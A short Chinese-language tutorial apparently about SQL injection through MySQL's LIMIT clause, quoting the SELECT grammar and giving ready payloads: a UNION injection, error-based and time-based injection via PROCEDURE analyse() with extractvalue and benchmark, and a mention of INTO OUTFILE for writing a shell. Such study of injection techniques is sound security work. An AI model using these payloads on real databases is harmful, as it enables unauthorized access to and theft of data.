前言
使用查询语句的时候,经常要使用limit返回前几条或者中间某几行数据 LIMIT[位置偏移量,]行数 其中中括号里面的参数是可选参数,位置偏移量是指Mysql查询分析器要从哪一行开始显示,索引值从0开始,即第一条记录位置偏移量是0,第二条记录的位置偏移量是1,依次类推…,第二个参数为”行数” 即指示返回的记录条数
MySQL 5中的SELECT语法
SELECT
[ALL | DISTINCT | DISTINCTROW ]
[HIGH_PRIORITY]
[STRAIGHT_JOIN]
[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
select_expr [, select_expr ...]
[FROM table_references
[WHERE where_condition]
[GROUP BY {col_name | expr | position}
[ASC | DESC], ... [WITH ROLLUP]]
[HAVING where_condition]
[ORDER BY {col_name | expr | position}
[ASC | DESC], ...]
[LIMIT {[offset,] row_count | row_count OFFSET offset}]
[PROCEDURE procedure_name(argument_list)]
[INTO OUTFILE 'file_name' export_options
| INTO DUMPFILE 'file_name'
| INTO var_name [, var_name]]
[FOR UPDATE | LOCK IN SHARE MODE]]
例子
select*from limittest limit 1,[可控点] or select … limit [可控点]
limit后面能够拼接的函数只有into和procedure,into可以用来写文件
在Limit后面 可以用 procedure analyse()这个子查询
而且只能用extractvalue 和 benchmark 函数进行延时
procedure analyse(extractvalue(rand(),concat(0x3a,benchmark(10000000,sha1(1)))),1)
limit注入的两个场景
存在 order by与否
不存在order by关键字
select id from users limit 0,1
这种情况下limit后面
这种情况下的 limit 后面可以使用union进行联合查询注入
select id from users limit 0,1 union select name from users;
存在order by关键字
此时后面再次使用union将会报错
limit 关键字后面还可跟PROCEDURE和 INTO两个关键字,但是 INTO 后面写入文件需要知道绝对路径以及写入shell的权限,因此利用比较难
使用 PROCEDURE函数进行注入
- 如果报错回显,可以进行报错注入
- 无回显可进行延迟注入
select id from users order by id limit 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(if(mid(version(),1,1) like 5, BENCHMARK(5000000,SHA1(1)),1))))),1);